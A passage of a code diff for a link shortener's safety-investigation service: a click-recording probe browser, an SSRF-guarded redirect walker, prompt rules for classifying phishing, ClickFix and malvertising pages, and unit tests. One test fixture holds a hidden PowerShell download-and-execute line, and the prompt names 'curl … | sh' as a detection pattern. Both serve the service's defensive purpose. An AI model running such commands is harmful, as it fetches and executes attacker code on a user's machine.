investigation]" if s["long_url"] == event.url else "" + lines.append(f"- {s['long_url']} → {dest or 'unreachable'}{mark}") + hosts[urlparse(dest).hostname or "unreachable" if dest else "unreachable"] += 1 + lines.append( + "destination hosts: " + ", ".join(f"{n}x {h}" for h, n in hosts.most_common()) + ) + lines.append("") + return lines + + async def build_evidence_bundle( - event: SafetyAnalyzeEvent, url_repo: UrlRepository + event: SafetyAnalyzeEvent, url_repo: UrlRepository, resolve=terminal_url_impl ) -> str: """Everything free goes in the prompt: the URL, its decomposition, - first-party history, the report text, and why it was queued. NEVER our - own prior system verdicts — that would make the store an echo chamber. - Human verdicts on siblings would go here too (deferred: needs a - registrable-scoped human-verdict read).""" + first-party history, sibling links on a small host, the report text, + and why it was queued. NEVER our own prior system verdicts — that would + make the store an echo chamber. Human verdicts on siblings would go + here too (deferred: needs a registrable-scoped human-verdict read).""" history = await url_repo.destination_history(event.host) ctx = event.context or {} lines = [ @@ -238,6 +295,10 @@ async def build_evidence_bundle( f"first seen: {history['first_seen'] or 'unknown'}", f"links edited after creation: {history['edited_count']}", "", + ] + if 0 < history["link_count"] <= SIBLING_CAP: + lines += await sibling_section(event, url_repo, resolve) + lines += [ "## Why this reached you", f"trigger: {event.trigger}", ] diff --git a/services/safety/prompts/investigate_v1.md b/services/safety/prompts/investigate_v1.md index 20d131c1..7a30254c 100644 --- a/services/safety/prompts/investigate_v1.md +++ b/services/safety/prompts/investigate_v1.md @@ -66,15 +66,18 @@ Judge by these pairs — this is where the errors happen: - A form posting a password cross-origin, from a domain days younger than the brand it imitates, is strong evidence of phishing. - A render served from a datacenter/scanner egress that looks clean while the report text is specific and damning is a CLOAKING hypothesis, not an acquittal — good kits serve scanners a clean page. Weigh the report against the clean render; do not treat "looked fine" as proof. - A fake verification gate is the payload, not a wall in front of it. This needs TWO things together. First, you RENDERED the gate: a "Security Check", "I'm not a robot", "verify you are human" or "checking your browser" card that is NOT a real challenge provider (no reCAPTCHA, hCaptcha or Turnstile script host, no `cdn-cgi/challenge-platform`). A page that failed to render, or a dead 404, is not a gate; it is missing evidence and stays `uncertain`. Second, at least two of: domain registered or first certificate within the last ~30 days; a numeric or random-string hostname; a brand name imitated in the host or at the root; no MX; no legitimate content at the root or the reported path. With both, the gate itself is the social-engineering step (ClickFix). You have seen the harm. That is `scam_host`, `high`, and the screenshot is your evidence; do not downgrade to `medium` because you "could not see behind" it. Name the signals you counted in `evidence`. Without the second part, a fake gate on an established domain with a real root is `compromised_legit` or `uncertain`, never `scam_host` `high`. A REAL provider challenge on an established domain (a Cloudflare "Just a moment..." with the challenge-platform script, on a domain with history) is still missing evidence, as before. +- What a click DOES is a fact you read in the `## Observed behaviour` section of `fetch_page`, never something you infer from markup. The probe clicked the page's prominent controls and wrote down what happened: a pop-up and its URL, a navigation, a download, a dialog, a clipboard write, a notification prompt, and what APPEARED on the page after the click (a modal's text, new form fields). A "Verify Account" button that reveals card-number, expiry and CVV fields is a credential form you have now seen; judge it as one. If the section says a click opened an ad pop-under, say pop-under. If it says nothing observable, or there was no probe, you do NOT know what the button does. Never write "designed to trigger downloads", "push-notification scam" or "malware" without a recorded download, a recorded permission prompt, or a rendered payload. +- Ad-network, pop-under and push-SDK script tags (Monetag, PropellerAds, ExoClick/magsrv, Adsterra, wpadmngr, wpush, Histats and their rotating domains) are `spam_gray` evidence, never `scam_host` evidence. A fake video player or "click to continue" that, when clicked, opens an ad pop-under and otherwise plays nothing is malvertising spam: `spam_gray`. It becomes `scam_host` only when something you observed steals credentials, installs, or impersonates a brand or a person. +- A probe-recorded clipboard write of a command (`powershell`, `cmd`, `mshta`, `curl … | sh`, `Win+R` instructions) from a verification card is the ClickFix payload observed directly: `scam_host`, `high`, and the second-part signals are not needed. - A hard hit from `feed_lookup` (a threat feed or Web Risk) on the terminal host is corroborating external evidence. - Absence of evidence is not benignity. "The render failed" or "no feed hit" does not make a reported host safe. # Tools -Start from what you already have in the evidence bundle. Call a tool only when it would change your answer, and stop as soon as you can decide. +Start from what you already have in the evidence bundle. On a small host the bundle lists every sibling link we hold and where each one ends up: nine links from one anonymous creator in three minutes, all to the same kind of page, is campaign shape that no single render shows, and it belongs in `evidence`. Call a tool only when it would change your answer, and stop as soon as you can decide. - `resolve_chain` — the redirect hops as facts. Find the terminal host. -- `fetch_page` — render a page (destination AND the domain root — the root is what separates a real business from a parked or purpose-built domain, and it also grades spam). +- `fetch_page` — render a page (destination AND the domain root — the root is what separates a real business from a parked or purpose-built domain, and it also grades spam). With the probe browser it also clicks the page's prominent controls and reports what each click caused under `## Observed behaviour`; that section, not the markup, is what a button does. - `domain_intel` — RDAP age, registrar, TLS issuer and age, MX. A "bank" on a 3-day-old domain with no mail is telling. - `feed_lookup` — check the TERMINAL host against feeds and Web Risk. - `host_usage` — how many links point at this host, across how many distinct URLs and creators, and how many are already blocked. Required reading before any `host`-scoped verdict. @@ -123,6 +126,10 @@ Verdict: `uncertain`, `low`. Reason: "Specific phishing report but the render is Bundle: sweep-found link to `https://5347567.shop/197721937`. `fetch_page` renders a centred white card: a shield icon, "Security Check", "Please confirm you are not a robot to continue", one large button reading "I'm not a robot ✓", footer "Protected by SSL · 3-D Secure". No form, no external script host except analytics, no reCAPTCHA or hCaptcha or Turnstile. The screenshot shows a hand-drawn card, not a provider widget. Root `https://5347567.shop/` returns "Cannot GET /". `domain_intel`: certificate issued 2 days ago, no MX, RDAP unavailable. `host_usage`: two links, one anonymous creator. Verdict: `scam_host`, `high`. Reason: "Rendered a hand-drawn 'I'm not a robot' card with no challenge provider, on a numeric domain whose first certificate is 2 days old, with no MX and nothing at the root: the gate is the ClickFix lure." Evidence: ["rendered fake verification card, no captcha provider script", "'3-D Secure' misused on a robot check", "numeric-string hostname", "first TLS certificate 2 days old (RDAP unavailable)", "no MX", "root returns 'Cannot GET /'"]. Scope: `host`. — Gate rendered, plus four of the second-part signals (numeric host, 2-day cert, no MX, empty root). Contrast with Example 9: there the gate was a real maintenance page on a 2-year-old domain and the harm was only alleged. Here the domain has no history, no product, and the card is the harm. `medium` would be the wrong answer; you are not waiting to see a payload, you are looking at it. +**Example 11 — spam_gray: the fake player is bait for ads, not a scam.** +Bundle: sweep-found link through a real shortener to `https://aceuimg.pages.dev/`; the bundle lists nine sibling links from one anonymous creator created within three minutes, resolving to numbered `*.github.io` pages, an Adsterra smart link and two shop links. `fetch_page` renders a "Watch Full HD Video" player with a "PLAYBACK VERIFICATION" nag; script hosts are Monetag, ExoClick, Adsterra, wpadmngr, Histats. `## Observed behaviour`: click 1 on the player opened a pop-up to a Monetag domain and the page stayed; click 2 on "Continue Watching" did nothing observable; after load the page redirected on its own to a Telegram channel. No download, no clipboard write, no notification prompt, no form. +Verdict: `spam_gray`, `high`. Reason: "Fake video player monetised with pop-under ads that redirects to a Telegram channel; no credential form, download or impersonation observed." Evidence: ["click on player opened a Monetag pop-under", "auto-redirect to t.me channel", "five ad/tracker networks, no video content", "nine sibling links from one anonymous creator in three minutes"]. Scope: `links`. — The probe SAW the click: an ad pop-under. That is spam. "Designed to trigger malicious downloads" would have been an inference from vendor names, and nothing observed supports it. The campaign shape goes in `evidence` so a human can act on the siblings; the verdict does not escalate to `scam_host` because the harm was never seen. + # Output Return the structured verdict: diff --git a/services/safety/tools.py b/services/safety/tools.py index af6129ff..5712729e 100644 --- a/services/safety/tools.py +++ b/services/safety/tools.py @@ -8,8 +8,9 @@ agent loop. Egress rules: -- ``fetch_page`` renders via Cloudflare Browser Run — the destination - sees a Cloudflare IP, never ours, and the result says so. +- ``fetch_page`` renders via our own scripted-browser probe when one is + configured (it also clicks the page and reports what happened), else + via Cloudflare Browser Run. The result names its egress either way. - ``resolve_chain`` sends bodyless HEAD/GET hops from this process with redirects OFF and an SSRF guard: every hop's host is resolved first and private/loopback/link-local/reserved addresses are refused, so a @@ -40,6 +41,7 @@ import httpx from pydantic_ai.messages import BinaryContent, ToolReturn +from infrastructure.browser_probe import BrowserProbeClient from infrastructure.browser_run import BrowserRunClient from infrastructure.http_client import HttpClient from infrastructure.logging import get_logger @@ -146,74 +148,79 @@ def saw_hard_hit() -> bool: _TLS_TIMEOUT = 5.0 -async def resolve_chain_impl(url: str) -> str: - """Walk redirects hop by hop (redirects OFF, max 10, bodyless).""" - lines: list[str] = [] +async def _walk_hops(url: str, lines: list[str]) -> tuple[str, bool]: + """Follow HTTP redirects with the SSRF guard on every hop. Returns the + last URL reached and whether it answered with a final status.""" current = url - - async def _walk() -> None: - nonlocal current - async with httpx.AsyncClient( - follow_redirects=False, timeout=_HOP_TIMEOUT - ) as client: - for hop in range(1, _MAX_HOPS + 1): - parsed = urlparse(current) - if parsed.scheme not in ("http", "https") or not parsed.hostname: - lines.append(f"hop {hop}: {current} — unsupported URL, stop") - break - # safe_fetch is the one SSRF guard; the connection is - # pinned to the vetted IP so DNS cannot rebind after it. - try: - hop_ip = await resolve_public_ip(parsed.hostname) - except (FetchHardError, FetchTransientError): - lines.append( - f"hop {hop}: {current} — resolves to a private or " - "unresolvable address, refused" - ) - break - pinned = httpx.URL(current).copy_with(host=bracket_ip(hop_ip)) - hop_headers = {"Host": parsed.hostname} - hop_ext = {"sni_hostname": parsed.hostname} - try: - response = await client.head( - pinned, headers=hop_headers, extensions=hop_ext - ) - if response.status_code in (405, 501): - # Bodyless by contract: stream and close before - # any body bytes are read. - get_req = client.build_request( - "GET", pinned, headers=hop_headers, extensions=hop_ext - ) - response = await client.send(get_req, stream=True) - await response.aclose() - except httpx.HTTPError as exc: - lines.append( - f"hop {hop}: {current} — request failed ({type(exc).__name__})" - ) - break - location = response.headers.get("location") - if response.is_redirect and location: - nxt = urljoin(current, location) - cross = registrable_domain( - parsed.hostname or "" - ) != registrable_domain(urlparse(nxt).hostname or "") - lines.append( - f"hop {hop}: {current} → {response.status_code} → " - f"{nxt}{' [cross-domain]' if cross else ''}" + ended = False + async with httpx.AsyncClient( + follow_redirects=False, timeout=_HOP_TIMEOUT + ) as client: + for hop in range(1, _MAX_HOPS + 1): + parsed = urlparse(current) + if parsed.scheme not in ("http", "https") or not parsed.hostname: + lines.append(f"hop {hop}: {current} — unsupported URL, stop") + break + # safe_fetch is the one SSRF guard; the connection is + # pinned to the vetted IP so DNS cannot rebind after it. + try: + hop_ip = await resolve_public_ip(parsed.hostname) + except (FetchHardError, FetchTransientError): + lines.append( + f"hop {hop}: {current} — resolves to a private or " + "unresolvable address, refused" + ) + break + pinned = httpx.URL(current).copy_with(host=bracket_ip(hop_ip)) + hop_headers = {"Host": parsed.hostname} + hop_ext = {"sni_hostname": parsed.hostname} + try: + response = await client.head( + pinned, headers=hop_headers, extensions=hop_ext + ) + if response.status_code in (405, 501): + # Bodyless by contract: stream and close before + # any body bytes are read. + get_req = client.build_request( + "GET", pinned, headers=hop_headers, extensions=hop_ext ) - current = nxt - continue + response = await client.send(get_req, stream=True) + await response.aclose() + except httpx.HTTPError as exc: lines.append( - f"final: {current} → HTTP {response.status_code} " - f"(content-type: {response.headers.get('content-type', '?')})" + f"hop {hop}: {current} — request failed ({type(exc).__name__})" ) break - else: - lines.append(f"stopped: exceeded {_MAX_HOPS} hops") + location = response.headers.get("location") + if response.is_redirect and location: + nxt = urljoin(current, location) + cross = registrable_domain(parsed.hostname or "") != registrable_domain( + urlparse(nxt).hostname or "" + ) + lines.append( + f"hop {hop}: {current} → {response.status_code} → " + f"{nxt}{' [cross-domain]' if cross else ''}" + ) + current = nxt + continue + lines.append( + f"final: {current} → HTTP {response.status_code} " + f"(content-type: {response.headers.get('content-type', '?')})" + ) + ended = True + break + else: + lines.append(f"stopped: exceeded {_MAX_HOPS} hops") + return current, ended + + +async def resolve_chain_impl(url: str) -> str: + """Walk redirects hop by hop (redirects OFF, max 10, bodyless).""" + lines: list[str] = [] # wait_for, not asyncio.timeout: 3.10 support (see safe_fetch). try: - await asyncio.wait_for(_walk(), timeout=_CHAIN_TIMEOUT) + await asyncio.wait_for(_walk_hops(url, lines), timeout=_CHAIN_TIMEOUT) except (asyncio.TimeoutError, TimeoutError): lines.append("stopped: chain resolution timed out") lines.append( @@ -223,6 +230,16 @@ async def _walk() -> None: return "\n".join(lines) +async def terminal_url_impl(url: str, *, timeout: float = 8.0) -> str | None: + """Where the HTTP chain ends, or None when it never answered.""" + lines: list[str] = [] + try: + final, ended = await asyncio.wait_for(_walk_hops(url, lines), timeout=timeout) + except (asyncio.TimeoutError, TimeoutError): + return None + return final if ended else None + + def _one_line(value: str, cap: int) -> str: """Collapse all whitespace and cap the TOTAL length — attacker-authored fields must not fabricate line structure inside the evidence.""" @@ -465,6 +482,8 @@ class InvestigationToolDeps: browser: BrowserRunClient http: HttpClient feed_repo: FeedDomainRepository + # Preferred render path: clicks the page too. None = snapshot only. + probe: BrowserProbeClient | None = None web_risk: WebRiskProvider | None = None url_repo: UrlRepository | None = None # fetch_page refuses these: a hostile page must not steer the loop into spoo. @@ -529,21 +548,73 @@ async def resolve_chain(url: str) -> str: where a real browser lands.""" return await resolve_chain_impl(url) + def _render_return( + url: str, + egress: str, + html: str, + shots: list[tuple[bytes, str]], + observations: str, + final_url: str = "", + ) -> str | ToolReturn: + text = f"rendered via {egress}\nurl: {url}" + if final_url and final_url != url: + text += f"\nlanded on: {final_url} (everything below is that page)" + text += f"\n{trim_html(html)}" + if observations: + text = f"{text}\n\n## Observed behaviour\n{observations}" + images = [(data, media) for data, media in shots if data] + if not images: + return text + held = _last_render.get() + if held is not None: + # The first shot is what a visitor sees; that is the evidence image. + held.shots.append((url, images[0][0])) + note = ( + "screenshot: attached" + if len(images) == 1 + else "screenshots: attached (as loaded, then after the clicks)" + ) + return ToolReturn( + return_value=f"{text}\n{note}", + content=[BinaryContent(data=d, media_type=m) for d, m in images], + ) + async def fetch_page(url: str) -> str | ToolReturn: - """Render the URL in a sandboxed browser (egress: Cloudflare - datacenter IP — a cloaking page may serve scanners a clean - version) and return the page's trimmed content plus a SCREENSHOT - of what the browser saw: title, meta description, every form with - its fields and action, external script hosts, any frame or - meta-refresh target, and the visible text. Read the screenshot - when the text is thin — a page can be a single image, and a brand - imitation is visual before it is textual. Fetch the destination page - AND, separately, the domain root (https:///) — the root is - what separates a real business with one compromised path from a - parked or purpose-built domain.""" + """Render the URL in a sandboxed browser and return the page's + trimmed content plus a SCREENSHOT of what the browser saw: title, + meta description, every form with its fields and action, external + script hosts, any frame or meta-refresh target, and the visible + text. When our own probe browser is available it ALSO clicks the + page's most prominent controls and reports, under + `## Observed behaviour`, exactly what each click caused: pop-ups, + navigations, downloads, dialogs, clipboard writes, notification + prompts, and what appeared on the page (a modal's text, new form + fields). That section is the only source of truth for what a + button does; markup and script hosts are not. Egress is named in + the result (a cloaking page may serve datacenter IPs a clean + version). Read the screenshot when the text is thin — a page can + be a single image, and a brand imitation is visual before it is + textual. Fetch the destination page AND, separately, the domain + root (https:///) — the root is what separates a real + business with one compromised path from a parked or purpose-built + domain.""" refusal = _fetch_refusal(url) if refusal is not None: return refusal + if deps.probe is not None: + probed = await deps.probe.probe(url) + if probed is not None: + return _render_return( + url, + probed.egress, + probed.html, + [ + (probed.screenshot, probed.media_type), + (probed.screenshot_after, probed.media_type), + ], + probed.observations, + final_url=probed.final_url, + ) result = await deps.browser.snapshot(url) if result is None: return ( @@ -551,16 +622,8 @@ async def fetch_page(url: str) -> str | ToolReturn: "unreachable, every wait condition tried) — do NOT retry it; " "treat as missing evidence, not as evidence of being clean" ) - trimmed = trim_html(result.html) - text = f"rendered via {result.egress}\nurl: {url}\n{trimmed}" - if not result.screenshot: - return text - held = _last_render.get() - if held is not None: - held.shots.append((url, result.screenshot)) - return ToolReturn( - return_value=f"{text}\nscreenshot: attached", - content=[BinaryContent(data=result.screenshot, media_type="image/webp")], + return _render_return( + url, result.egress, result.html, [(result.screenshot, "image/webp")], "" ) async def domain_intel(host: str) -> str: diff --git a/tests/unit/infrastructure/test_browser_probe.py b/tests/unit/infrastructure/test_browser_probe.py new file mode 100644 index 00000000..f4b1c354 --- /dev/null +++ b/tests/unit/infrastructure/test_browser_probe.py @@ -0,0 +1,258 @@ +"""The probe client turns the browser's record into observations the model +reads as facts. What a click did must survive the trip verbatim; a dead +probe is an absent render, never an exception into the agent loop.""" + +from __future__ import annotations + +import base64 +from types import SimpleNamespace +from unittest.mock import AsyncMock + +import pytest + +from infrastructure.browser_probe import BrowserProbeClient, format_observations + + +def _body(**over) -> dict: + base = { + "url": "https://ourl.jp/EJTQX", + "landed_url": "https://aceuimg.pages.dev/", + "final_url": "https://aceuimg.pages.dev/", + "hops": ["https://ourl.jp/EJTQX", "https://aceuimg.pages.dev/"], + "auto_redirects": [], + "clicks": [], + "popups": [], + "downloads": [], + "dialogs": [], + "events": [], + "blocked_requests": [], + "html": "Watch", + "screenshot": base64.b64encode(b"\xff\xd8\xffjpeg").decode(), + "screenshot_after": "", + "screenshot_type": "image/jpeg", + } + base.update(over) + return base + + +class TestFormatObservations: + def test_popup_is_named_with_its_cross_domain_url(self): + text = format_observations( + _body( + clicks=[ + { + "target": "video 'Click to Play'", + "popups": ["https://iserinekugel.com/ikq/141690"], + "navigated_to": None, + "downloads": [], + "dialogs": [], + "events": [], + } + ] + ) + ) + assert ( + "click 1: video 'Click to Play' → opened pop-up https://iserinekugel.com/ikq/141690 [cross-domain]" + in text + ) + assert ( + "loaded: https://ourl.jp/EJTQX → https://aceuimg.pages.dev/ (1 HTTP redirect hops)" + in text + ) + + def test_meta_refresh_landing_is_shown_after_the_http_hops(self): + text = format_observations( + _body( + hops=["https://ourl.jp/EJTQX", "https://ourl.jp/go.php?to=x"], + landed_url="https://aceuimg.pages.dev/", + ) + ) + assert ( + "loaded: https://ourl.jp/EJTQX → https://ourl.jp/go.php?to=x (1 HTTP redirect hops)" + " → landed on https://aceuimg.pages.dev/ [cross-domain] (JS or meta refresh)" + ) in text + + def test_auto_redirect_after_load_is_reported(self): + text = format_observations(_body(auto_redirects=["https://t.me/s/chan"])) + assert ( + "after load: redirected on its own to https://t.me/s/chan [cross-domain]" + in text + ) + + def test_clipboard_write_is_shouted(self): + text = format_observations( + _body( + clicks=[ + { + "target": "button 'I'm not a robot'", + "popups": [], + "navigated_to": None, + "downloads": [], + "dialogs": [], + "events": [ + ["clipboard_write", "powershell -w hidden -c iwr x|iex"] + ], + } + ], + events=[["clipboard_write", "powershell -w hidden -c iwr x|iex"]], + ) + ) + assert "WROTE TO CLIPBOARD: 'powershell -w hidden -c iwr x|iex'" in text + assert "clipboard writes: 'powershell" in text + + def test_silence_is_stated_not_omitted(self): + text = format_observations(_body()) + assert "after load: stayed on the page" in text + assert "clicks: no visible clickable control found" in text + assert "clipboard writes: none" in text + assert "notification permission prompt: not requested" in text + assert "downloads: none" in text + + def test_modal_revealed_by_a_click_is_reported(self): + text = format_observations( + _body( + clicks=[ + { + "target": "a 'Verify Account button'", + "popups": [], + "navigated_to": None, + "downloads": [], + "dialogs": [], + "events": [], + "revealed": { + "text": [ + "Add bank card", + "All operations comply with PCI DSS", + ], + "inputs": ["tel:cardnumber", "text:expiry", "tel:cvv"], + "frames": ["https://pay.evil.example/frame"], + }, + } + ] + ) + ) + assert ( + "revealed on the page: 'Add bank card' | 'All operations comply with PCI DSS'" + in text + ) + assert "new form fields: tel:cardnumber, text:expiry, tel:cvv" in text + assert "new frames from: pay.evil.example" in text + assert "nothing observable" not in text + + def test_click_with_no_effect_says_so(self): + text = format_observations( + _body( + clicks=[ + { + "target": "button 'Continue Watching'", + "popups": [], + "navigated_to": None, + "downloads": [], + "dialogs": [], + "events": [], + } + ] + ) + ) + assert ( + "click 1: button 'Continue Watching' → nothing observable, stayed on page" + in text + ) + + +class TestBrowserProbeClient: + @pytest.mark.asyncio + async def test_unconfigured_is_none(self): + client = BrowserProbeClient(AsyncMock(), base_url="") + assert await client.probe("https://x.example") is None + + @pytest.mark.asyncio + async def test_decodes_shots_and_carries_observations(self): + http = AsyncMock() + http.post = AsyncMock( + return_value=SimpleNamespace( + raise_for_status=lambda: None, json=lambda: _body() + ) + ) + client = BrowserProbeClient(http, base_url="http://browser:8011/") + result = await client.probe("https://ourl.jp/EJTQX") + assert result is not None + assert result.screenshot == b"\xff\xd8\xffjpeg" + assert result.media_type == "image/jpeg" + assert result.final_url == "https://aceuimg.pages.dev/" + assert ( + "loaded: https://ourl.jp/EJTQX → https://aceuimg.pages.dev/" + in result.observations + ) + assert http.post.await_args.args[0] == "http://browser:8011/probe" + + @pytest.mark.asyncio + async def test_failure_is_none_not_raise(self): + http = AsyncMock() + http.post = AsyncMock(side_effect=RuntimeError("boom")) + client = BrowserProbeClient(http, base_url="http://browser:8011") + assert await client.probe("https://x.example") is None + + @pytest.mark.asyncio + async def test_empty_render_is_none(self): + http = AsyncMock() + http.post = AsyncMock( + return_value=SimpleNamespace( + raise_for_status=lambda: None, + json=lambda: _body(html="", screenshot=""), + ) + ) + client = BrowserProbeClient(http, base_url="http://browser:8011") + assert await client.probe("https://x.example") is None + + +class TestObservationFallbacks: + def test_missing_fields_still_render_every_line(self): + text = format_observations({"url": "https://x.example/"}) + assert "loaded: https://x.example/" in text + assert "after load: stayed on the page" in text + assert "clicks: no visible clickable control found" in text + assert "final page: https://x.example/" in text + + def test_downloads_dialogs_and_blocked_requests_are_listed(self): + text = format_observations( + _body( + downloads=["evil.exe from https://x.example/e"], + dialogs=["alert: pay now"], + blocked_requests=["http://10.0.0.1/"], + clicks=[ + { + "target": "a 'get'", + "popups": [], + "navigated_to": None, + "downloads": ["evil.exe from https://x.example/e"], + "dialogs": ["alert: pay now"], + "events": [ + ["notification_prompt", "x"], + ["click_failed", "Timeout"], + ], + } + ], + events=[["notification_prompt", "x"]], + ) + ) + assert "started download evil.exe" in text + assert "dialog alert: pay now" in text + assert "asked for notification permission" in text + assert "click failed" in text + assert "notification permission prompt: requested" in text + assert "downloads: evil.exe from https://x.example/e" in text + assert "dialogs: alert: pay now" in text + assert "requests to private addresses refused: 1" in text + + def test_probe_note_when_controls_could_not_be_enumerated(self): + text = format_observations(_body(events=[["candidates_failed", "Error: boom"]])) + assert "probe note: could not enumerate controls (Error: boom)" in text + + +class TestB64: + def test_garbage_decodes_to_empty(self): + from infrastructure.browser_probe import _b64 + + assert _b64("not base64!!") == b"" + assert _b64(None) == b"" diff --git a/tests/unit/infrastructure/test_ops_notify.py b/tests/unit/infrastructure/test_ops_notify.py index 11a6ec59..d62c1fc7 100644 --- a/tests/unit/infrastructure/test_ops_notify.py +++ b/tests/unit/infrastructure/test_ops_notify.py @@ -1,8 +1,11 @@ """Unit tests for DiscordOpsNotifier — delivery semantics, channel routing, and embed formatting (owned here, not by the calling services).""" +import json from unittest.mock import AsyncMock, MagicMock +import pytest + from infrastructure.ops_notify import DiscordOpsNotifier _CONTACT_URL = "https://discord.com/api/webhooks/123/contact" @@ -190,3 +193,22 @@ async def test_short_field_is_untouched(self): from infrastructure.ops_notify import _bound_field assert _bound_field("```ok```") == "```ok```" + + +@pytest.mark.asyncio +async def test_attachment_name_and_type_follow_the_image_bytes(): + """The probe browser sends JPEG; the old code named everything .webp, + which Discord then refused to render inline.""" + notifier, http = _make() + jpeg = b"\xff\xd8\xff\xe0" + b"\x00" * 16 + await notifier.send_embed( + channel="report", + title="T", + color=1, + fields=[{"name": "Host", "value": "x"}], + image=jpeg, + ) + kw = http.post.call_args.kwargs + assert kw["files"]["files[0]"] == ("evidence.jpg", jpeg, "image/jpeg") + payload = json.loads(kw["data"]["payload_json"]) + assert payload["embeds"][0]["image"] == {"url": "attachment://evidence.jpg"} diff --git a/tests/unit/services/safety/test_investigation.py b/tests/unit/services/safety/test_investigation.py index 3a8a0450..0c73d584 100644 --- a/tests/unit/services/safety/test_investigation.py +++ b/tests/unit/services/safety/test_investigation.py @@ -799,3 +799,125 @@ async def test_no_render_means_no_attachment(self): await inv.investigate(_event()) assert notifier.safety_action.await_args.kwargs["screenshot"] is None + + +class TestSiblingLinks: + """A small host's other links, resolved, go into the bundle: campaign + shape the model cannot see from one render. A shared platform's links + belong to strangers, so past the cap nothing is listed.""" + + def _event(self): + return SafetyAnalyzeEvent( + url="https://ourl.jp/EJTQX", + host="ourl.jp", + registrable_domain="ourl.jp", + trigger="sweep", + context={}, + ) + + def _repo(self, link_count, siblings): + from unittest.mock import AsyncMock + + repo = AsyncMock() + repo.destination_history = AsyncMock( + return_value={ + "link_count": link_count, + "anon_count": link_count, + "owned_count": 0, + "distinct_owners": 0, + "total_clicks": 3, + "first_seen": None, + "edited_count": 0, + } + ) + repo.list_recent_by_dest_host = AsyncMock(return_value=siblings) + return repo + + @pytest.mark.asyncio + async def test_small_host_lists_every_sibling_and_where_it_ends(self): + from datetime import datetime, timezone + + from services.safety.investigation import build_evidence_bundle + + t0 = datetime(2026, 9, 3, 10, 41, tzinfo=timezone.utc) + siblings = [ + { + "alias": "a", + "long_url": "https://ourl.jp/EJTQX", + "anonymous": True, + "created_at": t0, + }, + { + "alias": "b", + "long_url": "https://ourl.jp/9Bdpv", + "anonymous": True, + "created_at": t0, + }, + { + "alias": "c", + "long_url": "https://ourl.jp/dead", + "anonymous": False, + "created_at": t0, + }, + ] + ends = { + "https://ourl.jp/EJTQX": "https://aceuimg.pages.dev/", + "https://ourl.jp/9Bdpv": "https://x.github.io/k5/", + "https://ourl.jp/dead": None, + } + + async def resolve(url): + return ends[url] + + text = await build_evidence_bundle( + self._event(), self._repo(3, siblings), resolve + ) + assert "## Sibling links on this host" in text + assert "3 links, 2 anonymous, 1 from accounts" in text + assert ( + "- https://ourl.jp/EJTQX → https://aceuimg.pages.dev/ [the link under investigation]" + in text + ) + assert "- https://ourl.jp/dead → unreachable" in text + assert ( + "destination hosts: 1x aceuimg.pages.dev, 1x x.github.io, 1x unreachable" + in text + ) + # Section order: siblings sit between history and the trigger. + assert ( + text.index("## First-party history") + < text.index("## Sibling links") + < text.index("## Why this reached you") + ) + + @pytest.mark.asyncio + async def test_shared_platform_is_not_listed(self): + from services.safety.investigation import build_evidence_bundle + + repo = self._repo(380, []) + text = await build_evidence_bundle(self._event(), repo, AsyncMock()) + assert "Sibling links" not in text + repo.list_recent_by_dest_host.assert_not_awaited() + + @pytest.mark.asyncio + async def test_resolver_blowing_up_does_not_kill_the_bundle(self): + from datetime import datetime, timezone + + from services.safety.investigation import build_evidence_bundle + + siblings = [ + { + "alias": "a", + "long_url": "https://ourl.jp/EJTQX", + "anonymous": True, + "created_at": datetime(2026, 9, 3, tzinfo=timezone.utc), + }, + ] + + async def resolve(url): + raise RuntimeError("dns down") + + text = await build_evidence_bundle( + self._event(), self._repo(1, siblings), resolve + ) + assert "- https://ourl.jp/EJTQX → unreachable" in text diff --git a/tests/unit/services/safety/test_tools.py b/tests/unit/services/safety/test_tools.py index 7d01a0b0..7c7d01a7 100644 --- a/tests/unit/services/safety/test_tools.py +++ b/tests/unit/services/safety/test_tools.py @@ -11,6 +11,8 @@ from services.safety.tools import ( InvestigationToolDeps, build_investigation_tools, + last_render_screenshot, + reset_last_render, resolve_chain_impl, trim_html, ) @@ -630,3 +632,150 @@ async def test_reset_clears_the_previous_investigation(self): assert last_render_screenshot() == b"" assert last_render_screenshot("https://x.example/p") == b"" + + +class TestFetchPageProbe: + """With the probe browser, fetch_page reports what the page DID and + attaches both renders; without it, or when it fails, the one-shot + Cloudflare snapshot still answers.""" + + def _probe_result(self, **over): + from infrastructure.browser_probe import ProbeResult + + base = dict( + url="https://x.example", + final_url="https://x.example/", + html="Watch", + screenshot=b"\xff\xd8\xffbefore", + screenshot_after=b"\xff\xd8\xffafter", + media_type="image/jpeg", + observations="click 1: video 'Play' → opened pop-up https://ads.example/x [cross-domain]", + ) + base.update(over) + return ProbeResult(**base) + + @pytest.mark.asyncio + async def test_observations_and_both_shots_reach_the_model(self): + probe = AsyncMock() + probe.probe = AsyncMock(return_value=self._probe_result()) + deps = _deps(probe=probe) + fetch_page = next( + t for t in build_investigation_tools(deps) if t.__name__ == "fetch_page" + ) + reset_last_render() + out = await fetch_page("https://x.example") + assert "## Observed behaviour" in out.return_value + assert "opened pop-up https://ads.example/x" in out.return_value + assert "rendered via our own browser" in out.return_value + assert [c.data for c in out.content] == [ + b"\xff\xd8\xffbefore", + b"\xff\xd8\xffafter", + ] + assert all(c.media_type == "image/jpeg" for c in out.content) + # The embed shows what a visitor sees first, not the post-click state. + assert last_render_screenshot("https://x.example") == b"\xff\xd8\xffbefore" + deps.browser.snapshot.assert_not_awaited() + + @pytest.mark.asyncio + async def test_dead_probe_falls_back_to_snapshot(self): + probe = AsyncMock() + probe.probe = AsyncMock(return_value=None) + deps = _deps(probe=probe) + deps.browser.snapshot = AsyncMock( + return_value=RenderResult( + url="https://x.example", html="Hi", screenshot=b"" + ) + ) + fetch_page = next( + t for t in build_investigation_tools(deps) if t.__name__ == "fetch_page" + ) + out = await fetch_page("https://x.example") + assert "rendered via cloudflare datacenter" in out.lower() + assert "Observed behaviour" not in out + + @pytest.mark.asyncio + async def test_identical_after_shot_is_not_attached_twice(self): + probe = AsyncMock() + probe.probe = AsyncMock(return_value=self._probe_result(screenshot_after=b"")) + deps = _deps(probe=probe) + fetch_page = next( + t for t in build_investigation_tools(deps) if t.__name__ == "fetch_page" + ) + reset_last_render() + out = await fetch_page("https://x.example") + assert len(out.content) == 1 + assert "screenshot: attached" in out.return_value + + +class TestTerminalUrl: + @pytest.mark.asyncio + async def test_returns_where_the_chain_ends(self): + from services.safety.tools import terminal_url_impl + + responses = [ + SimpleNamespace( + status_code=302, + is_redirect=True, + headers={"location": "https://final-dest.net/page"}, + ), + SimpleNamespace( + status_code=200, + is_redirect=False, + headers={"content-type": "text/html"}, + ), + ] + client = AsyncMock() + client.head = AsyncMock(side_effect=responses) + 